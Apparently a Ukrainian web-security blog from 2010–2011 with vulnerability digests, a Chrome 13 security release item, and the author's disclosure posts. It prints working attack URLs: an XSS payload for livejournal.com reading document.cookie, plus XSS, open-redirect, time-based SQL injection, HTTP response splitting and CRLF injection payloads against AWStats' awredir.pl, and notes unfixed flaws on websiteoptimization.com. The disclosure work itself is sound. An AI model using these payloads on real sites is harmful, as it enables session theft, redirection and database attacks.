Websecurity - Веб безпека

В даній добірці уразливості в веб додатках:

• CA Total Defense Suite UNC Management Console DeleteFilter SQL Injection Vulnerability (деталі)
• Apache Archiva cross-site scripting vulnerability (деталі)
• CA Total Defense Suite NonAssignedUserList Stored Procedure SQL Injection Vulnerability (деталі)
• Path disclosure in FlatnuX (деталі)
• CA Total Defense Suite UNC Management Console DeleteReportLayout SQL Injection Vulnerability (деталі)
• DoS (Denial of Service) Risk in FlatnuX (деталі)
• HP Virtual Server Environment for Windows, Remote Privilege Elevation (деталі)
• Path disclosure in Coppermine (деталі)
• Directory Traversal Vulnerability in Viola DVR VIO-4/1000 (деталі)
• “time” SQL Injection vulnerability in WSN Guest (деталі)

В презентації Mc Graw Hill Hacking Exposed Web 2.0, наводиться повний текст книги “Hacking Exposed Web 2.0″. В якій розповідається про вразливий до хакінгу Web 2.0. Про те, які ризики безпеки існують в Веб 2.0 додатках та як від них захиститися.

В серпні, 02.08.2011, через два місяці після виходу Google Chrome 12, вийшов Google Chrome 13.

В браузері зроблено ряд нововведень. А також виправлено 30 помилок у безпеці, з яких 14 уразливостей позначені як небезпечні, 9 - помірні і 7 - незначні. В тому числі виправлена URL Spoofing уразливість, про яку я писав раніше.

• Релиз web-браузера Chrome 13 с исправлением 30 уязвимостей (деталі)

08.12.2010

У серпні, 13.08.2010, я знайшов Cross-Site Scripting уразливість на популярному проекті http://www.livejournal.com. Про що найближчим часом сповіщу адміністрацію проекту.

Раніше я вже писав про уразливості на livejournal.com.

Детальна інформація про уразливість з’явиться пізніше. Треба дати час адмінам на реакцію з цього приводу.

22.09.2011

XSS:

http://www.livejournal.com/update.bml?event=%3Cimg%20src='1'%20onerror=alert(document.cookie)%3E

XSS працювала в браузерах IE та Chrome.

Дана уразливість вже виправлена.

В даній добірці уразливості в веб додатках:

• HP Insight Control Performance Management for Windows, Remote Privilege Elevation, Cross Site Request Forgery (CSRF) (деталі)
• Multiple XSS vulnerabilities in Gollos (деталі)
• CA Total Defense Suite Heartbeat Web Service Remote Code Execution Vulnerability (деталі)
• Multiple XSS vulnerabilities in Wikipad (деталі)
• CA Total Defense Suite UnassignFunctionalUsers Stored Procedure SQL Injection Vulnerability (деталі)
• SQL Injection in Seo Panel (деталі)
• CA Total Defense Suite UNCWS Web Service getDBConfigSettings Credential Disclosure Vulnerability (деталі)
• SQL Injection in Seo Panel (деталі)
• CA Total Defense Suite UnassignAdminRoles Stored Procedure SQL Injection Vulnerability (деталі)
• SQL Injection in Seo Panel (деталі)

Продовжуючи традицію, пропоную вашій увазі цікаві секюріті статті. Щоб ви поповнювали свої знання з веб безпеки.

Добірка цікавого чтива на тему безпеки, в тому числі web security (статті з Вікіпедії):

• Privacy-invasive software
• Keystroke logging
• Cross-application scripting
• Evasion (network security)
• Uncontrolled format string

У вересні, 02.09.2011, я знайшов Cross-Site Scripting, Redirector, SQL Injection, HTTP Response Splitting та CRLF Injection уразливості в AWStats (в awredir). Про що я вже повідомив розробнику на минулому тижні (але він так і не виправив їх).

З AWStats постачається скрипт Advanced Web Redirector (awredir.pl), який має численні уразливості. В 2008 році trev та tx вже виявили в ньому XSS і Redirector уразливості.

Як я виявив, версія awredir 1.1 (build 1.5) була не вразлива до XSS, зато версія 1.1 (build 1.6) вже була вразлива.

В версії 1.1 та попередніх версіях скрипта є XSS, Redirector та SQL Injection уразливості. А в версії 1.2 додали захист - параметр key, що повинен бути рівний md5($KEYFORMD5.$UrlParam), де $KEYFORMD5 - це секретне слово, а $UrlParam - це параметр url. Який може і не використовуватися в скрипті (якщо $KEYFORMD5 пустий), а також його можна виявити підбором (знаючи робочу пару параметрів url та key). Параметр key буде необхідний для версії 1.2 скрипта для проведення Redirector, SQL Injection, HTTP Response Splitting і CRLF Injection атак.

В версії 1.2 виправили XSS, але Redirector і SQLi дірки залишилися та додали HTTPRS, CRLF Injection і дві нові XSS.

XSS (в версіях <=1.1):

http://site/awredir.pl?url=javascript:alert(document.cookie)

Redirector:

http://site/awredir.pl?url=http://websecurity.com.ua

В версії 1.2:

http://site/awredir.pl?key=0f3830803a70cc1636af3548b66ed978&url=http://websecurity.com.ua

SQL Injection:

http://site/awredir.pl?url=’%20and%20benchmark(10000,md5(now()))/*

В версії 1.2:

http://site/awredir.pl?key=f38ed1cdb04c8bda5386f7755a4e1d3e&url='%20and%20benchmark(10000,md5(now()))/*

SQL Injection атака можлива, якщо включений запис в БД ($TRACEBASE) та підключений DBI.

XSS (в версії 1.2):

http://site/awredir.pl?url=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/awredir.pl?key=%3Cscript%3Ealert(document.cookie)%3C/script%3E

HTTP Response Splitting:

http://site/awredir.pl?key=04ed5362e853c72ca275818a7c0c5857&url=%0AHeader:1

Що може використовуватися для включення хедерів, в тому числі для XSS і Redirection атак.

CRLF Injection:

http://site/awredir.pl?key=4b9faa91e2529400c4f3c70833b4e4a5&url=%0AText

CRLF Injection в логи можлива при включеному $DEBUG і/або $TRACEFILE.

Уразливі всі версії AWStats (6.0, 7.0 та попередні версії).

03.12.2010

У серпні, 09.08.2010, я знайшов Abuse of Functionality, Insufficient Anti-automation та Cross-Site Scripting уразливості на сайті http://websiteoptimization.com (зокрема на його піддомені http://analyze.websiteoptimization.com). Про що найближчим часом сповіщу адміністрацію сайта.

Детальна інформація про уразливості з’явиться пізніше.

21.09.2011

Abuse of Functionality:

http://analyze.websiteoptimization.com/authenticate.php?url=http://www.google.com

Через даний функціонал можна проводити атаки на інші сайти. А також DoS атаку на сам сервіс. Про подібні уразливості я писав в статті Використання сайтів для атак на інші сайти.

Insufficient Anti-automation:

На даній сторінці використовується вразлива капча. Капчу можна обійти посилаючи одну і ту саму робочу пару значень параметрів session і captcha.

XSS:

• alert(document.cookie)
• цікавий
• html включення

Дані уразливості досі не виправлені.

Після попереднього дослідження похаканих сайтів, приведу нову інформацію про взломані сайти. З числа українських сайтів.

• http://zakarpattya.mns.gov.ua (хакерами з jH-Team) - 18.08.2011 - взломаний державний сайт, зараз сайт вже виправлений адмінами
• http://odesa.mns.gov.ua (хакерами з jH-Team) - 18.08.2011 - взломаний державний сайт, зараз сайт вже виправлений адмінами
• http://www.verba.ltd.ua (хакерами з RKH)
• http://posylka.com.ua (хакером CoOL BoY)
• http://makosad.com (хакерами з kosova security group)

Виявлені численні уразливості в Microsoft SharePoint.

Уразливі продукти: Microsoft SharePoint Server 2007, SharePoint Workspace 2010, Office Groove 2007, Office Forms Server 2007, SharePoint Server 2010.

Міжсайтовий скриптінг, редирекція, впровадження коду, витік інформації.

• XEE vulnerabilities in SharePoint (MS11-074) and DotNetNuke (деталі)
• Reflected Cross Site Scripting in Microsoft SharePoint Portal (деталі)
• Insecure Redirect in Microsoft SharePoint Portal (деталі)
• Microsoft Security Bulletin MS11-074 - Important Vulnerabilities in Microsoft SharePoint Could Allow Elevation of Privilege (деталі)